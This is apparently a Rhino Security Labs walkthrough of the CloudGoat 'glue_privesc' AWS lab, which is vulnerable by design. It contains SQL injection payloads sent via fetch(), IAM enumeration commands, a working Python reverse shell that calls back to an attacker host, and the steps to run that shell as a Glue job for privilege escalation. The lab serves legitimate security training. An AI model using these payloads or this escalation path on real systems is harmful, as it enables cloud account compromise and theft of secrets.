CloudGoat is Rhino Security Labs’s tool for deploying “vulnerable by design” AWS infrastructure. This blog post will walk through one of the newest CloudGoat scenarios, glue_privesc. where you will attempt to move through an AWS environment and perform privilege escalation against the Glue service in order to capture the flag.

AWS Glue is a fully managed extract, transform, and load (ETL) service provided by Amazon Web Services (AWS). ETL stands for Extract, Transform, Load. It’s a process used to move and transform data from one place to another, typically in data warehousing and data integration tasks. AWS Lambda is typically used in the Transform and Load parts of the ETL process. Lambda functions can process and transform the data once it’s extracted.

The ‘glue_privesc’ was created by BoB12-C-G-V (https://github.com/BoB12-C-G-V). Rhino would like to take this opportunity to thank BoB12-C-G-V’s members for this scenario and for contributing to open-source software. 

SPOILER ALERT: The rest of this post is a walkthrough of the glue_privesc scenario. If you want to work through the scenario on your own first, click here to find CloudGoat on GitHub. This scenario is categorized as “Moderate”, so if you have never completed a CloudGoat scenario before, consider starting with an “Easy” scenario.

This image shows the path which you will take to capture the flag in the scenario.

python3 cloudgoat.py create glue_privesc 

await fetch("http://{IP_ADDRESS}:5000/", {
  "credentials": "omit",
  "headers": {
    "User-Agent": "Firefox/1000000.1",
    "Accept": "text/html;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-Us;en;q=0.5",
    "Content-Type": "application/x-www-form-urlencoded",
    "Upgrade-Insecure-Requests": "1",
    "Pragma": "no-cache",
    "Cache-Control": "no-cache"
  },
  "referrer": "http://{IP_ADDRESS}:5000/",
  "body": "selected_date=2023-10-01' ERROR",
  "method": "POST",
  "mode": "cors"
}).then(response => response.text())

“body”: “selected_date=2023-10-01’ 1=1– -”,

“body”: “selected_date=2023-10-01’ ERROR”,

await fetch("http://{IP_ADDRESS}:5000/", {
  "credentials": "omit",
  "headers": {
    "User-Agent": "Firefox/1000000.1",
    "Accept": "text/html;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-Us;en;q=0.5",
    "Content-Type": "application/x-www-form-urlencoded",
    "Upgrade-Insecure-Requests": "1",
    "Pragma": "no-cache",
    "Cache-Control": "no-cache"
  },
  "referrer": "http://{IP_ADDRESS}:5000/",
  "body": "selected_date=2023-10-01' UNION SELECT * FROM original_data--",
  "method": "POST",
  "mode": "cors"
}).then(response => response.text())

$ aws --profile glue-manager sts get-caller-identity

$ aws --profile glue-manager iam list-user-policies --user-name [username]

  {
  	"PolicyNames": [
      	"glue_management_policy"
  	]
  }

$ aws --profile glue_manager iam get-user-policy --user-name [glue_username] --policy-name glue_management_policy

    	...
    	"Statement": [
        	{
            	"Action": [
                	"glue:CreateJob",
                	"iam:PassRole",
                	"iam:Get*",
                	"iam:List*",
                	"glue:CreateTrigger",
                	"glue:StartJobRun",
                	"glue:UpdateJob"
            	],
            	"Effect": "Allow",
            	"Resource": "*",
            	"Sid": "VisualEditor0"
        	},
    	]
    	...

...
{
  "Action": "s3:ListBucket",
  "Effect": "Allow",
  "Resource": "arn:aws:s3:::cg-data-from-web-glue-privesc-cgidXXXXXXXXXX",
  "Sid": "VisualEditor1"
}
...

aws --profile glue-manager s3 ls s3://cg-data-from-web-glue-privesc-cgidXXXXXXXXXX

    	2024-01-31 12:15:23    	297 order_data2.csv

In the S3 bucket, we can see a CSV file called ‘order_data2’.

We’ve proven that we have access to this S3 bucket. We will use this S3 bucket later to house malicious code. For now, let us  enumerate the roles our user has access to see what else we can do:

$ aws --profile glue-manager iam list-roles --no-cli-pager

...
"Path": "/",
"RoleName": "s3_to_gluecatalog_lambda_role",
"RoleId": "AROAXXXXXXXXXXXXXXXXX",
"Arn": "arn:aws:iam::XXXXXXXXXXXX:role/s3_to_gluecatalog_lambda_role",
...
	"Statement": [
    	{
        	"Effect": "Allow",
        	"Principal": {
            	"Service": "lambda.amazonaws.com"
        	},
        	"Action": "sts:AssumeRole"
    	}
	]
...

$ aws --profile glue-manager iam list-attached-role-policies --role-name s3_to_gluecatalog_lambda_role --no-cli-pager

{
  "AttachedPolicies": [
  {
    "PolicyName": "AWSLambdaBasicExecutionRole",
    "PolicyArn": "arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole"
  },
  {
    "PolicyName": "AWSGlueConsoleFullAccess",
    "PolicyArn": "arn:aws:iam::aws:policy/AWSGlueConsoleFullAccess"
  },
  {
     "PolicyName": "AmazonS3FullAccess",
     "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess"
  }]
}

And we’ve hit the jackpot, so to speak. The “s3_to_gluecatalog_lambda_role” role has the following three  AWS managed policies:

• AWSLambdaBasicExecutionRole provides write permissions to CloudWatch Logs.
• AWSGlueConsoleFullAccess provides full access to AWS Glue.
• AmazonS3FullAccess provides full access to all AWS S3 buckets.

With these policies and permissions, we can upload files (S3) and execute them (Glue), which gives us code execution through a reverse shell. 

With these compromised permissions, we can create and upload a reverse shell.  A reverse shell is a type of remote shell connection where the target machine initiates a connection back to an attacker’s machine, allowing the attacker to remotely execute commands on the target system. 

Here is an example of a reverse shell in Python, which connects back to our IP on port 6666 when executed:

import socket
import subprocess

# IP of the machine you want to connect back to.
HOST = "INSERT IP ADDRESS HERE"

# The port on which your local machine is listening.
PORT = 6666

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b"Connection established")

while True:
	command = s.recv(1024).decode("utf-8")
	if command.lower() == "exit":
    	break
	output = subprocess.getoutput(command)
	s.send(output.encode("utf-8"))

s.close()

$ aws --profile glue-manager s3 cp scenarios/glue_privesc/rev.py s3://cg-data-from-web-glue-privesc-cgidXXXXXXXXXX

	upload: scenarios/glue_privesc/rev.py to s3://cg-data-from-web-glue-privesc-cgidXXXXXXXXXX/rev.py

"Arn": "arn:aws:iam::XXXXXXXXXXXX:role/s3_to_gluecatalog_lambda_role",

$ aws \
  --profile glue-manager \
  glue create-job \
  --name revshell \
  --role arn:aws:iam::XXXXXXXXXXXX:role/s3_to_gluecatalog_lambda_role \
  --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://[bucket_name]/[reverse_shell_code_file]"}'

$ aws --region us-east-1 --profile glue-manager glue start-job-run --job-name revshell

{
"JobRunId": "jr_XXXXXXXXXXXXXXXXXXXXXXXXXXX"
}

$ aws sts get-caller-identity

{
	"UserId": "AROXXXXXXXXXXXXXXXXXX:GlueJobRunnerSession",
	"Account": "XXXXXXXXXXXX",
	"Arn": "arn:aws:sts::XXX:assumed-role/ssm_parameter_role/GlueJobRunnerSession"
}

In the output, we see a reference to “SSM”. AWS Systems Manager Agent (SSM Agent) is Amazon software that runs on EC2 instances, edge devices, on-premises servers, and VMs.

Now, with access to the SSM Agent, we search for the “flag” parameter in the SSM Agent:

In this walkthrough, we demonstrate the attack path for the “glue_privesc” scenario. This combines a SQL injection vulnerability with credential exfiltration, permission enumeration, a reverse shell, and glue job submission in an attack path that ultimately led to the ability to capture the flag. 

This challenge demonstrates how cloud-native and traditional web application vulnerabilities can interact in a complex AWS environment to provide impact not possible in traditional hosting environments.

If all went well, this CloudGoat scenario provided some experience into AWS penetration testing. If you want to contribute to CloudGoat, feel free to open issues and pull requests on GitHub, and follow us on Twitter @RhinoSecurity for updates.